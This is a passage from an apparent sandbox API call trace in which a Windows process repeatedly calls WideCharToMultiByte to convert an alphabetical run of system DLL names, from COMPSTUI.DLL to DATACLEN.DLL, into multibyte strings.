lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x18c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x18c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0227.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x18c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x18c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x18c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x18c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x18c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x18c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x18c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x18c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x18c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x18c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x18c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0227.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, 